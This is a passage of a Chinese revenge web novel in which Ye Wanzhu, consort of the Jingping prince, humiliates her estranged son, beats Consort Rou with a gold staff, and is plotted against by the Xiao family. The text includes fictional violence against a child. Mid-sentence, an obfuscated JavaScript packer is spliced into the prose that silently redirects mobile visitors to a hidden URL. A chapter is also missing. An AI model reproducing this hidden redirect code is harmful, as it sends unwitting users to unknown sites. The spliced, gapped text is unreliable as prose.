小丫鬟萍儿闻言,脸色顿时变得煞白。 “不要啊王妃!” 萍儿扑通一声跪了下去,“奴婢再也不敢了!” “你也知道自己有错?” 叶晚竹冷冷地看着她。 自从上次萧延闯进来,她这潇湘院中便多了一条规矩,谁也不准把萧延的消息放进来! 对这个养不熟的儿子,叶晚竹已经无话可说! 萍儿哆嗦着说不出话。 她当然知道自己不该这样,可小少爷给了她一对金耳环啊! 她在王府当多久的丫鬟,也不一定能攒够呢! 谁知道,王妃竟然真的一点儿都不念母子之情了! “来人!”书画已经走到门边,对着屋外道,“把这个吃里扒外的东西扔出去!” 潇湘院里的下人大多都是从叶家而来,对叶晚竹忠心耿耿,两个嬷嬷虎着脸进了屋,一把捂住萍儿的嘴便将她抬了出去。 “扔远点!”书画双手叉腰,气鼓鼓地道。 拿着王妃给的银子,却做出这种事! 另一边,叶晚竹已经施施然站了起来。 “走,”她笑了笑,“去看看我的好延儿。” “王妃?您真要去啊?”书画愕然回眸,“那,那萍儿——” 叶晚竹轻轻摸了一把她的脑袋,笑得别有深意。 “花了这样的心思引我过去,我不看看他又想唱什么戏,岂不是浪费了?” 打架? 正合她意。 那就打个痛快吧! —— “你娘怎么还没来!” 距离潇湘院不远的一处假山凉亭中,萧延正被大房的萧卓扯着衣领质问。 萧卓今年十二岁,是萧家长子,比萧延足足高出一个头还多。 “他娘早就说过,不要这个儿子了,怎么会来?” 大房的老二,萧卓的亲弟弟萧然抱着胳膊站在一边,小小的脸上满是嫌弃。 “萧延,我看你就是在骗我和我大哥!” 他话音刚落,萧卓攥着萧延衣领的手便更加用力起来。 萧延神情慌张,嘴角带着一块青紫痕迹,畏惧地看着眼前这两个堂哥。 他刚才正在屋里睡觉,两个堂哥忽然带着人闯进观竹苑,二话不说就要打他,还要拿走观竹苑里所有值钱的东西! 挨了打,萧延才知道前院里发生的事情! 娘亲竟然用鞭子抽大伯和大伯母,她是不是疯了? 可后果却要他来偿还! 观竹苑里什么好东西也没有,萧卓萧然气不过,也要拿鞭子抽他,萧延不想挨打,想出一个主意。 “你们假装打我,让我娘亲知道,她肯定会来救我的,到时候,到时候我问我娘亲要钱!” 毕竟是自己亲生的儿子,再怎么生气,也不能眼睁睁地看着萧延被揍得鼻青脸肿吧? 大房两兄弟合计了一番,还是相信了萧延的话。 谁知消息传到潇湘院去,却半天没听见任何动静! 娘亲真的不要他了,连听说他挨打都无动于衷? 萧延哆嗦了一下,又可怜兮兮地看着萧卓,“大堂哥,再等一会儿,我娘肯定会来的!” “你想逃了这顿打是不是?做梦!”萧卓的拳头已经挥了起来。 就在这时,负责望风的萧然忽然压低声音惊呼,“来了来了!” 叶晚竹带着书画穿过游廊,隐隐约约地朝着这边走来。 “你们看!我就说我娘会来的!”萧延双眼一亮,宛如抓住了救命稻草。 下一刻,萧卓已经不算稚嫩的拳头狠狠砸在他脸上! 他娘来了,更要打! “啊!啊!” 萧延在地上缩成一团,来回打着滚,“你们不要打我了,救命啊!娘亲快来救救延儿!” 他是演戏,萧卓的拳头却丝毫不留情,萧然也加入战局,两人对着他猛烈地拳脚相加。 疼痛屈辱袭上,萧延的喊声越发凄厉。 等一切过去,他一定要让父王杀了娘亲这个贱女人! 院中安静,萧延的惨叫声很快就让叶晚竹找到了目标。 “哟,挺热闹啊。” 信步走进凉亭,看着大房两兄弟对萧延拳打脚踢的模样,叶晚竹的语气中甚至还带着笑。 萧卓毕竟已经十二岁了,听出有些不对劲,收了拳头朝叶晚竹看来。 “王妃小婶。”他眼中满是隐藏不住的怨怼和憎恨。 都是因为眼前这个女人,他的爹娘才躺在床上,半死不活,屋里的下人也全都被赶走了,现在乱成一团! 萧然才九岁,顾不上太多,狠狠一脚踢在萧延屁股上! “娘亲!快救救延儿!” 萧延憋了半天的眼泪终于夺眶而出,他哇哇大哭着朝叶晚竹伸出一只手。 “娘亲,你快说你不要大伯和大伯母还钱了,否则延儿就要被打死了!” 叶晚竹挑了挑眉,笑意越发明媚。 这孩子是怎么觉得他还能拿捏住自己的呢? 果然,萧家的种出不了好东西! “哦,那就打吧。” 叶晚竹笑吟吟地往萧卓萧然两兄弟身上挨个看去。 “你们俩把他打死,我正好让官府来把你们抓到大牢里去,一次解决,省得你们天天像苍蝇一样嗡嗡乱叫。” 怎么会是这样? 想过王妃小婶不会给钱,却万万没想到会听到这样的话,两兄弟忍不住呆滞地面面相觑。 “打啊,怎么不打了?” 叶晚竹伸手在两人眼前晃了晃,“快打啊,我就在这儿看着,你们早点把他打死,今天这件事,咱们早点结束。” 把萧延打死? 萧卓显然是从没有这样想过的,他低头看了萧延一眼,自己的双腿先发起抖来。 萧然更是脸色惨白,盯着叶晚竹看了片刻,哇地一声大哭起来。 他转头就跑,萧卓立刻紧随其后,兄弟二人顷刻间就消失在叶晚竹面前。 凉亭中恢复寂静,萧延还躺在地上,眼巴巴地向叶晚竹看来。 “娘亲——” 第三十四章 你自找的 “啪”地一声,叶晚竹一个巴掌扇过去,萧延还没说完的话顿时全都哽在了喉头。 他本就被萧卓和萧然两兄弟打得鼻青脸肿,叶晚竹这一巴掌也并未留力,萧延感到自己的鼻血缓缓流了下来。 “娘亲……”他难以置信地抬起头,“你真的不要延儿了吗?可是,可是你还是来了啊……” 如果娘亲真的不要他了,怎么会来呢? 而且还骂走了大堂哥和二堂哥。 娘亲一定是故意的! 她还在生自己的气,但心里还是有他这个儿子的! 萧延越想越觉得正是如此,从地上一骨碌爬起来就要往叶晚竹身上扑。 “娘亲,延儿错了,延儿再也不敢——啊!” 眼见萧延靠近,叶晚竹一脚又将他踹回原地。 “再让我听见你叫我娘亲一次,我就打你一次。”叶晚竹口中吐出的话毫无温度。 “你不是想让阮莹莹当你的好娘亲吗?怎么不去让人给她传信?哦,有好事的时候就想着阮莹莹,碰上难处,才想起我,是不是,延儿?” 叶晚竹的表情太冷,萧延慌乱地摇着头,心跳快得控制不住。 “不是,不是!”他擦着眼泪又要起身,“娘亲,我错……” 叶晚竹说到做到,一个大耳光又扇上了萧延的脸。 “原来不是啊?那就好办了。” 蹲在萧延面前,叶晚竹用扇子挑起他的下巴,仔细端详了一番这张五颜六色的小脸。 这段时间,景平王府囊中羞涩,日子一定不好过,萧延原本肉嘟嘟的脸现在已经瘦了一大圈。 萧延跟着叶晚竹的时候,哪怕只有一口水,叶晚竹也会喂到他嘴里。 前世萧子景对她不好,王府的吃穿用度也处处克扣,饶是如此,萧延也一直被养得胖嘟嘟的,还从未像今天这样凄惨过。 可那又如何? 萧延照样不领她的情,今日这般,也是他自找的。 想回头跟她继续演母慈子孝? 想得美! “娘、王妃……” 萧延梗着脖子不敢动作,想叫叶晚竹一声又想起什么,紧急将剩下的那个字咽了回去。 他怯怯地看着眼前的叶晚竹。 娘亲看他的眼神,真的好陌生! 好像他只是个跟她没关系的人! 就在这时,叶晚竹忽然收回了扇子。 “隐川,”她看向刚刚赶来的侍卫,“带着小少爷到春风居去,一定要把他交到阮莹莹手中,顺便告诉她,给小少爷报仇的事情就交给她了。” 她正要收拾阮莹莹,机会就自己找上门来了! 书画简单把方才的事情说了,隐川听罢一点头,弯腰将萧延从地上抱了起来。 “告诉阮莹莹,这件事她若是能办好,每月向大房要钱的活儿,就是她的。”叶晚竹嘴角挂着一抹微笑。 要账这活儿要是办的好,中饱私囊的机会可不会少,阮莹莹应该不会放过这个捞钱的机会。 可这样一来,她就成了那个得罪大房的人。 叶晚竹要让大房把贪去的银子全都吐出来,那大房也快回到一贫如洗的状态去了,萧子易和柳汝兰定是对她恨之入骨。 这两人惹不起她,面对自己送上门来的阮莹莹,还能放过吗? 更别说阮莹莹还要欺负那两兄弟了。 叶晚竹眼中带着说不出的期待。 隐川已经明白了主子的意思,这会儿感到后背好像有点发凉。 难怪九千岁和王妃一见如故! —— “精彩,精彩!” 东厂大殿之中,谢无咎靠在软椅上听着景平王府的一场大戏,笑得花枝乱颤。 他生得妖冶惑人,笑起来更是仿佛连天光也隐隐失色。 隐川隐风不必出手,他本来也能知道王府里的一切动向。 “那萧小少爷如何了?”笑够了,谢无咎兴致盎然地追问。 “被送到春风居,阮莹莹似乎将他留下了,这段时间都住在那里养伤,之后如何,属下会继续观察。” 盯梢景平王府的本是隐竹,现在换成了一个叫隐翼的暗卫。 “好,去吧,有什么情况,第一时间禀报。” 谢无咎听书一般,心情大好,挥手让隐翼退下,竟然哼着小曲儿起身,到廊下去逗弄新收来的一对乌鸦。 这两只乌鸦通体漆黑,不见一根杂毛,油光水滑地站在笼子里。 见着谢无咎前来,它们往后挪着身子,四只眼中全是戒备。 “怕什么?”谢无咎笑眯眯地伸出手去,“过来,给你好吃的。” 随着他的动作,手腕上的佛珠滑落出来。 “畜生!畜生!”一只乌鸦忽然嘶声叫嚷起来。 “该死!该死!”另外一只也紧随其后。 乌鸦学舌不如鹦鹉灵活,声音也沙哑难听,但其中内容却还是清清楚楚地传达了出来。 谢无咎笑容一收,守在廊下的侍卫们也冲了上来。 “放肆!”其中一人怒喝道。 “王八蛋!没根的东西!” 两只乌鸦跳来跳去,扑扇着翅膀,说得越发来劲。 侍卫提刀就要掼进鸟笼,却被谢无咎一把按住小臂。 “扁毛的畜生也会骂人畜生?真是稀奇。” 笑容不知道什么时候又回到了谢无咎脸上,他朝鸟笼吹了声口哨。 “谁教你们的?” 乌鸦们显然没学过如何回答,又扑棱着重复起那几句骂谢无咎的话。 “属下该死,让这样的东西混进东厂!” 侍卫们哗啦啦地跪倒了一片。 “这畜生是本督带回来的,与你们何干?” 谢无咎仍是在笑,从手腕上褪下珠串,捏在手里把玩起来。 这对乌鸦是朝中一个贪官送来孝敬他的,证据还没集齐,谢无咎懒得搭理他,顺手收下,没想到会有这样的“惊喜”。 那贪官要是有这样的骨气,干脆不要贪污好了,这件事背后另有人指点。 会是谁呢? “这会儿功夫,早朝应该快散了吧?” 谢无咎抬头望望天空,清晨那点冷冽的寒意正在散开,春日的阳光遍撒下来。 “更衣,本督要去见圣上。”他丢下一句话,转身往屋中走去。 看来有人已经等不及,要露出马脚了。 谢无咎坐上软轿前往御书房的时候,叶晚竹正被引着往蕙心宫走去。 第三十五章 你给本宫跪下! 蕙心宫便是柔妃娘娘的住处。 昨日将萧家几人一番痛揍,叶晚竹今早刚刚起身,便收到了宫中传来的消息,说柔妃娘娘要见她。 萧子景这帮手找的倒是挺快。 “这是什么?” 分明是柔妃下的命令,这会儿蕙心宫门前却并没有接引的下人,唯有守门的嬷嬷将叶晚竹拦下,又警惕地看着书画。 要入宫,隐川隐风自然不能陪同,叶晚竹身边只跟着书画,她身后还背着一个细长的包裹。 “这是我们王妃送给娘娘的礼物。”书画皮笑肉不笑地道。 什么礼物,长得这样奇怪? 那嬷嬷一脸不信,“打开,我要检查。” “你算什么东西?” 叶晚竹掀起眼皮,漠寒的模样吓了这嬷嬷一跳。 可她很快又将下巴高高地一抬。 “王妃,这是宫中,不是你能耀武扬威的地方!” “是吗?” 轻笑一声,叶晚竹一脚将这嬷嬷踹进院中。 “既然是宫中,更应该知道什么是尊卑有别,你一个奴才敢对主子放肆,看来,柔妃娘娘的规矩教得不怎么样啊。” 嬷嬷重重地摔在地上,呛咳着吐出一口血。 院中几个丫鬟见状,忍不住小声尖叫起来。 门前另外一个嬷嬷已经傻了眼,叶晚竹招呼着书画往院中去,她只呆呆站在一旁发抖。 大步走进蕙心宫,眼前的景致仍是与叶晚竹前世所见没什么不同。 柔妃得宠,这蕙心宫中便也华丽雅致,院中栽种着奇花异草,连假山石都是命人特意从江南带回来的上等品种。 叶晚竹看在眼中,却处处都是自己曾经流下的血与泪。 前世就是在这座蕙心宫中,因为阮莹莹的陷害,柔妃怪她不识大体,是个妒妇,连带着让景平王府被众人议论,于是让宫人脱光了她的衣裳,逼着她像条狗一样在院里爬! 只要她敢停下,木棍鞭子就会立刻落到身上! 最可恨的是她当时本已虚弱病重,根本站不起身,柔妃是以要给她撑腰看病为由,硬生生地将叶晚竹骗进宫中来的。 看着叶晚竹狼狈躲避的模样,彼时柔妃站在高高的殿门外,优雅端庄,从口中说出来的话却阴戾狠辣。 “你不过是命好,嫁给我弟弟,才能一步登天,坐上这景平王妃的位置,却让萧家跟着你蒙羞,让阿景抬不起头!” “本宫倒要看看,今天之后,你还有什么脸面在王府摆谱!” 柔妃亲自动笔,将那天的情形画成了一幅长卷,又当着叶晚竹的面儿交到了前来接人的萧子景手中。 “她若再敢造次,就让全京城的人都瞧瞧,高高在上的景平王妃,其实不过是一条光着身子的狗!” 有了这副画卷,叶晚竹在王府的日子,便越发如同地狱一般! “王妃到了,奴婢有失远迎。” 从殿中中走出来的是柔妃身边的大宫女芳菲,她小跑着拦在叶晚竹面前。 那嬷嬷还倒在地上,芳菲扫了一眼,向来高傲的眼神中也带着一丝戒备。 “怎么是芳菲姑娘?”叶晚竹回过神来,“郭嬷嬷呢?” 从前她到蕙心宫,都是被郭嬷嬷“接待”着进殿的。 芳菲的表情又变了变。 郭嬷嬷? 被挑断了手筋,这辈子都成了废人,已经被送到庄子上去了! “芳菲,怎么还不请王妃进来?” 温和婉转的声音从大殿中传来。 回过神,芳菲压下心中不安,将叶晚竹和书画引入殿中。 “妾身见过柔妃娘娘。” 叶晚竹先发制人,朝着坐在大殿中央的柔妃躬身行礼。 上座一片安静,柔妃并未叫起,而是缓缓起身,自己朝着叶晚竹走了过来。 柔妃的双眼一瞬不眨地落在叶晚竹身上。 郭嬷嬷的遭遇和景平王府这段时间发生的事情,她都已经听说了,往日里像个包子一样任人揉捏的叶晚竹,竟然如此大展神威。 就连今天在她的蕙心宫都敢闹事! 萧子景要抬平妻的打算是急了些,可叶晚竹要是想借着这件事没完没了地撒泼,甚至是生出别的打算,那是想都别想! 想到这儿,柔妃脚步一顿,不着痕迹地给芳菲使了个眼色。 “本宫想和弟妹说说体己话,你们都下去吧。” 芳菲闻言便要带着一众宫人离开,叶晚竹身后,书画却还一动不动地站着。 “书画姑娘,你也随我到偏殿去喝碗茶吧。” 见状,芳菲挤出一个假笑,上前来拉书画的手腕。 书画后退一步躲开。 “这丫鬟,怎么一点儿规矩都没有?” 书画的胳膊还没放下,柔妃不悦的声音便响了起来。 “有你这样的刁奴在身边挑唆,难怪王府事故不断!” 她上下打量着书画,眼神也落在了那细长的包裹上。 “方才在院外,你们就是为了这个对嬷嬷动手?弟妹可曾想过,无故责打宫人是什么罪行?” “你叫书画是吧?给本宫出去跪着,没有命令,不许起来!” “娘娘。” 叶晚竹这时候站直了身子抬起头来。 “您苦思冥想一夜,就打算拿我的丫鬟开刀?” 她眉目锐利,语气嘲讽,柔妃心里跟着一突。 “看来郭嬷嬷的下场,并没有让娘娘引以为戒。” 叶晚竹又笑了起来,瞧着嘲讽意味更浓了。 听她提到郭嬷嬷,柔妃面上的表情不受控制地阴沉下来。 郭嬷嬷是她身边最得力的下人,叶晚竹那一出手便直接把人废了,一时找不到更合适的,柔妃这两天干什么都不舒服,早已经憋了一肚子的火。 叶晚竹还该如此放肆! “去,把宫门关上。”柔妃阴恻恻地道。 萧子景有过在先,才逼得叶晚竹发疯,她本想看在这点的份儿上,小惩大诫,点到为止。 可叶晚竹竟然如此不识抬举! 既然如此,那就别怪她不客气! 芳菲连忙让人将宫门关上,殊不知,叶晚竹听着身后的动静,低垂着的眼中闪过了一丝快意! 真巧,她也等着关门打狗呢! 大门合拢,下人退到殿外,柔妃再不掩饰眼底的戾气。 “你给本宫跪下!” 第三十六章 金杖在手,我横着走! 叶晚竹不仅不动,还朝着书画伸出了手。 书画早就将包裹解开,露出里面金光闪闪的杖子! “王妃,给!” 柔妃的瞳孔骤然紧缩起来。 叶老太君的杖子她自然是认识,也知道叶晚竹用它在王府做了什么,可,可她竟敢把这东西拿到宫中? “你想干什么——” 一句话还没问完,金光一闪,杖子朝着柔妃劈头盖脸地打了下来。 “啊!” 她下意识地抬手挡在眼前,钝痛袭上,柔妃尖叫一声。 “叶晚竹,你敢打本宫,你不想活了——啊!啊!” 叶晚竹毫不留情,三杖子下去,柔妃的手背便已经高高肿起! 挡杖子的那条胳膊也火辣辣地疼了起来,若不是她抬手挡住,这会儿一张脸都该破相了! 柔妃跌坐在地,露出了难以置信的目光。 这是在宫中,她是圣上册封的妃子! 而叶晚竹,竟然敢二话不说就对着她动手! 难道叶晚竹真疯了? “来人,来人!”柔妃顾不上想太多,“把叶晚竹这个疯子给本宫拿下!” 芳菲等一干宫人都守在殿外,知道娘娘要教训人,顺便还关上了大殿的门。 这会儿听着里面声音不对,又传来柔妃的喊声,芳菲一个激灵要上前推门,却忽然脸色一变! 门被锁上了! “娘娘!” “呸!”书画抱着胳膊靠在已经闩上的房门后,听着纷乱的喊声翻了个白眼。 一群仗势欺人的东西! “娘娘刚才的气势呢?怎么不继续了?” 屋中,叶晚竹已经重新拎起金杖,朝着柔妃走去。 “不是要打杀我的丫鬟,罚我的不敬吗?来啊。” 叶晚竹看着她,眼底全是兴奋,仿佛已经迫不及待了一般。 柔妃却哆嗦起来。 叶晚竹这个模样,根本就不像是个正常人啊! 她好像真的疯了,和疯子,能讲什么道理? “你,你别冲动,有话好好说!”柔妃咽了咽口水,声音也开始颤抖。 叶晚竹冷笑一声,又一杖子抽在柔妃肩膀上! “现在知道有话好好说了?晚了!” “娘娘,您想仗势欺人的时候,可不是这个嘴脸啊!” “你想说话就说话,你想动粗就动粗?” 叶晚竹一杖子一杖子地抽下去,力道越来越重,柔妃被打得浑身都痛,好不容易才抓住叶晚竹停下来甩手腕的间隙,她手脚并用,从地上爬起来就跑! “怎么怕了?” 叶晚竹又一次追了上去。 “别跑啊娘娘!” 柔妃已经做了很久的宠妃,过惯了养尊处优的日子,早就忘了做小宫女时候的辛苦,只是跑了几步便开始气喘吁吁。 叶晚竹虽然身子不好,但最近总有人给她打,锻炼得颇具成效,毫不费力就撵上了柔妃。 她却不将人拦下,眼见柔妃跑得慢了,就狠狠抽上一杖子,二人你追我赶,在宽敞气派的大殿里玩起捉迷藏来。 “你……你到底要干什么!” 柔妃很快就跑不动了,发髻散开,衣衫凌乱,一张小脸也涨得通红。 她呼哧呼哧地喘着粗气,一只手揪住领口,神情痛苦地看着叶晚竹。 “你这样欺我,就不怕圣上降罪吗?” 叶晚竹大气不喘,优哉游哉地在柔妃面前停下,又朝她晃了晃手中的杖子。 柔妃下意识地往后缩了缩。 “这杖子还是先帝赐下来的,我行使御赐之物的职责,圣上怎会怪罪?”叶晚竹笑意盈盈。 “本宫何错之有!”柔妃咬牙切齿地瞪着叶晚竹,恨不得把她咬死,“你凭什么这样杖打本宫?圣上赐下金杖,难道是为了让你肆意妄为吗?” 最初的惊恐过后,柔妃已经用最快的速度调整过来。 不管叶晚竹究竟疯了没有,这根金杖都绝对不能再留在她手中! 否则便是祸害! “去请圣上!快去请圣上!”思绪至此,柔妃挺起身子又朝着殿外狂叫起来。 等圣上大发雷霆,收了这该死的杖子,叶晚竹还不得重新被萧家拿捏! 先帝赐物给叶家,那都是叶老太君的时候了,已经隔了两代,叶晚竹又不曾和宫里有多少来往,圣上还能偏袒她不成? 想想自己身上的圣宠,柔妃的底气也又变得更足。 “啊!” 又一杖子抽了下来,把柔妃刚升起的那点得意砸得粉碎! 该不会圣上还没来,她已经先被叶晚竹这贱人打死了吧? 柔妃挪动灌了铅似的双腿,艰难地想逃跑。 叶晚竹伸出杖子一绊,柔妃脚下打滑,扑通一声摔倒在地—— “这里乱哄哄的,在吵些什么?” 摔得太重,柔妃眼冒金星,一时间还以为出现在耳边的声音是幻觉。 叶晚竹手下的动作倒是顿了顿。 谢无咎? 他怎么在这儿? 大殿之外,芳菲泪眼婆娑地跟在谢无咎身边。 “九千岁,您可要为我们娘娘做主啊!” 她刚跑出蕙心宫便撞上了九千岁的队伍,谢无咎听见里面的动静便过来了。 这位平日里并不管后宫之事,芳菲虽然说着话,一颗心却不断地七上八下。 九千岁再怎么喜怒无常,今天这件事儿,也不能不帮柔妃娘娘吧? “把门打开。” 芳菲思绪间,谢无咎已经冲着门里书画的影子道。 书画回头看着叶晚竹,见她点头,这才拨动门闩把人放进来。 “娘娘!您没事吧——” 殿门一开,芳菲先跑了进来,看见柔妃瘫倒在地上的狼狈模样,顿时倒吸一口冷气。 “九千岁!” 柔妃哀哀地朝着谢无咎喊了一声。 “景平王妃不知受了什么刺激,许是失了神智,忽然朝本宫动手,有劳九千岁快将王妃稳住,再请个太医来给她瞧瞧吧!” 哽咽着,柔妃顿时又变作了温柔体贴的模样。 谢无咎却朝叶晚竹斜晲过去。 闹成这样,这小疯子打算如何收场? 叶晚竹打得累了,将金杖扛在肩头,又踢了柔妃一脚,这才大步流星地走到谢无咎面前。 “九千岁统领东厂,办案无数,朝廷内外的贪官污吏都没有能瞒得过您的眼睛的,想来一定是断案如神。” “妾身这里正好有一桩案子,想请九千岁代为决断,不知您……意下如何?” 第三十八章 狗急跳墙 “人心险恶,谨防狗急跳墙。” 叶晚竹忍不住扭头看去。 谢无咎依旧没骨头似的倚靠在他那把华贵的软椅上,有一下没一下地摇着折扇。 他眼中带笑,却还多了些叶晚竹看不懂的东西。 叶晚竹回味着谢无咎这话。 算上柔妃,姓萧的已经被她打了个遍,爽是爽了,但他们肯定也会报复回来。 叶晚竹已经做好了准备,她有的是时间和力气跟这帮白眼狼玩。 但谢无咎这么一说……好像就有别的意思了。 “还请九千岁赐教?”她身子微倾。 “不敢,”谢无咎眼底笑意更深,似乎要将那一丝异样压下,“只是强中自有强中手,一山更比一山高。” 这是在暗示她,萧家会找人施以援手? 看看身旁这重重宫墙,叶晚竹顿时明白过来。 “多谢九千岁赠言。” 萧子景这外姓王是圣上亲旨册封的,连带着萧家的荣耀也是。 但那又如何? 叶晚竹还记得外祖母的话,圣上不是一个是非不分的君王。 而萧子景的所作所为,若是被圣上得知…… “本督还有事要办,就送王妃到这儿吧。” 软轿行至一个岔路口,谢无咎悠悠地朝叶晚竹一点头,便让人抬着自己朝东厂方向而去。 叶晚竹还没回过神来,谢无咎的软轿便已经走远了。 望着东厂方向,叶晚竹忍不住皱了皱眉。 总感觉这位九千岁今日有些心事重重的…… —— 景平王府。 阮莹莹正在春风居中忐忑不安地踱着步。 昨天,叶晚竹那**不由分说便把萧延塞进了她屋中,还让下人转告来那几句话,阮莹莹便没有再安生过。 萧延可是她的亲生儿子,眼见他要挨打,叶晚竹都能忍得住? 她能忍住就忍啊,为什么让自己给这倒霉孩子报仇? 关自己什么事! 可要是撒手不管…… 想想那收钱的活计,阮莹莹又十分心动。 这偌大的景平王府,一日要花出去的银子如流水一样,才几日的功夫,管家又已经从她的屋中搬走了另外一尊数千两银子的花瓶。 坐吃山空,吃的还是她! 大房贪去的那么多银子,本来也该是王府的,若是她能经管此事,起码也能保住自己的屋里的宝贝。 但话又说回来,萧子易和柳汝兰那对夫妻,也不是好惹的。 思来想去,阮莹莹挑了个折中的办法。 给萧卓和萧然下药! 不用自己动手,也能让这两个兔崽子遭殃! 秋雨阁如今没有下人,派人混进去行事简单的很,阮莹莹用银子买通了两个小丫鬟,在昨天晚上和今天早上的饭食中都下了泻药。 只是眼下已经日上三竿,按道理药效早就该发作了,怎么秋雨阁里迟迟没有动静传来? 不会出了什么差错吧? 阮莹莹越想越不安。 就在这时,院外忽然传来了急促的脚步声。 不知为何,阮莹莹的一只眼睛忽然猛地跳了几下。 “姑娘,王爷请您马上到清辉院去呢!” 阮莹莹跟着冬生来到清辉院,刚一进门便猛地打了个哆嗦。 地上跪着的是她派去秋雨阁的丫鬟,一旁坐着的,是脸色青白的萧子易! “大,大哥,”阮莹莹挤出一个笑脸,“你怎么出来走动了?还是在屋中养着比较好吧。” 萧子易身上到处缠着纱布,依然能看到不少细碎的伤口。 “哼!” 萧子景重重地一拍桌子,他同样是病痛未愈,脸色也好看不到什么地方去。 “莹莹,你竟然要对大哥大嫂落井下石!你太让本王失望了!” 萧子景看着阮莹莹的目光很冷,“你怎么能对卓儿然儿下手?难道你和叶晚竹一样,是个毒妇不成?” 心思急转,阮莹莹瞬间就红了眼眶。 “王爷!”她蹙眉上前两步,在萧子景脚边蹲了下去。 “妾身,妾身也是没办法啊!卓儿和然儿把延儿打得好惨,他现在还没有完全清醒过来;王妃分明亲眼所见,却将延儿送到了妾身这里,还,还威胁妾身!” 萧子景的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15381808|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神情越发惊异,阮莹莹又掐了一把大腿,语气更加凄切。 “王妃说,要是妾身不按她说的办,就,就说妾身**延儿……” 这话听上去,好像就是在说策划下毒的人是叶晚竹了。 “这个贱妇!好恶毒的心思!” 萧子景登时大怒,“儿子挨了打,她竟然也能狠下心来利用!” “你为何不告诉本王?!”他喘了口气,又指着阮莹莹发难。 “妾身,妾身……” 阮莹莹正飞速思索着该如何回答,萧子易忽然轻咳两声。 “你先下去。”他看着那阮莹莹找来的小丫鬟。 小丫鬟早就吓得三魂去了六魄,闻言哆哆嗦嗦地爬起来向外跑去。 “二弟。” 萧子易回过头来,表情十分严肃。 “你就莫要再过多责难阮氏了,事情闹成现在这样,阮氏也为难,最主要的,还是弟妹在其中挑拨离间,想让咱们互相针对,变成一盘散沙,好各个击破。” 昨天先听了两个儿子在花园中的遭遇,又抓住了那丫鬟,萧子易已经明白过来。 “弟妹这是要让咱们萧家四分五裂啊!” “**!毒妇!” 萧子景的胸膛剧烈地起伏着,又咬牙切齿,“可连娘娘都奈何她不得!” 宫中的消息打探不到,可叶晚竹完好无损地回到景平王府,这却是事实。 阮莹莹闻言又是一惊。 柔妃娘娘圣宠深厚,连她都不能让叶晚竹吃瘪? 这**怎么这样厉害? “不能再这么下去了。” 萧子易又敲了敲桌面,“弟妹风头太盛,得想个办法,压她一压,等她没了这般气焰,接下来的事情才好办。” “大哥,你想到什么办法了?”萧子景顿时双眼一亮。 只要萧子易用这样的语气说话,那他多半已经是胸有成竹了。 萧子易笑了笑,眼中分明透着势在必得,却先叹了口气。 “我的确有个办法,只是我眼下身体不济,还需要二弟和阮氏,多多配合。” “这是当然!大哥,你快说来听听!” 第三十九章 另起炉灶 叶晚竹进宫后的第二天,一大早,一道圣旨便传到了景平王府,道是柔妃言行不端,被圣上罚在蕙心宫禁足一月。 王府众人在前院接旨,除了叶晚竹,人人都是神情凝重。 谁都知道柔妃娘娘是为了给王府出气才出了手,眼下她受了圣上的责罚,圣上还专门下了一道圣旨,焉能说这其中没有警告王府众人的意思? 萧子景心神不宁地接下圣旨,又恭恭敬敬地把前来传旨的大太监往府外送,一边不着痕迹地塞了一块碎银子过去。 “娘娘还好吧?”他赔着笑脸,低声下气地道。 今日来传旨的是福顺公公,昭德帝身边最得力的大太监。 福顺公公掂了掂手里那块轻飘飘的银子,笑容便不那么真心实意。 “娘娘犯了错,自是要罚,孰轻孰重,还得看圣上的意思。” “这,这是自然!” 萧子景头上冒汗,笑得更加讨好,“不知圣上如何?千万莫要被娘娘气坏了龙体才好。” 福顺公公面上的笑容就变得更淡了。 “若景平王爷能早些还朝效力,便能亲自替圣上分忧了。” 撂下一句话,他头也不回地便坐上马车,扬长而去。 这景平王爷真是不知所谓,一块碎银子,就想打听圣上的心思? 破落户办事,就是不牢靠! 萧子景只能目送着福顺公公的马车离开,他灰头土脸地回到院中,便和大哥对上了视线。 “叶晚竹呢?”他又很快地皱起了眉头。 不过一转眼的功夫,这毒妇怎么就不见了? “福顺公公刚走,姐姐就带着下人回潇湘院去了……”阮莹莹也在一旁,轻声细语地道。 萧子景的脸色顿时又阴沉了下去。 若不是这个毒妇不识抬举,长姐也不会被圣上责罚! 还连带着景平王府也吃了挂落,就连福顺那么一个阉人,都敢对他甩脸子! “大哥,不能再等下去了!”萧子景攥了攥拳头,“不能再让这女人如此嚣张!” 萧子易闻言却蹙起了眉头。 “圣上刚为了此事责罚长姐,若是咱们这个时候再生事端,会不会太过引人注目?” 萧子景忿忿地哼了一声。 “这毒妇如此厉害,再不快点出手,下一个说不准就会轮到你我谁的头上了!” “大哥,圣上定也是受了这毒妇的蒙蔽,早一日真相大白,长姐也能早一日解除禁闭!” 他言辞凿凿,神情迫切,萧子易看在眼中,半晌后还是叹了口气。 “二弟所言也有道理,那还是继续吧!” “大哥放心,我已经安排下去了,很快就能让叶晚竹这个毒妇遭到报应!” 看着萧子景咬牙切齿的模样,萧子易状若担忧,眼底却有一抹得逞一晃而过。 圣上这旨意来的真不是时候,摆明了要敲打景平王府。 不过,眼下要顶风作案的人,可不是自己…… —— 叶晚竹还不知道又一场阴谋正在展开,于她而言,这几日又过得清净起来。 柔妃被关了禁闭,景平王府那几位也没有在她面前晃悠找事,就连萧延最近都没再出现在自己面前。 没人打扰的感觉好是好,可叶晚竹总觉得好像有什么地方不太对劲—— “小姐,小姐!” 一声呼唤打断了她的思绪,叶晚竹一抬头,“曼娘!” 趁着这几日无事,叶晚竹便又将几间铺子的事情捡起来处理着。 今日她收到消息,曼娘已经从村子上回京了,这才连忙到宝琅斋来看看。 那写着萧记的牌匾已经被撤了下来,新做的匾额上,宝琅斋三个大字旁另书了一行叶记,还刻了叶晚竹的私印。 曼娘从屋中快步迎出,整个人瘦了几大圈,形容憔悴,唯有一双眼睛在闪闪发光。 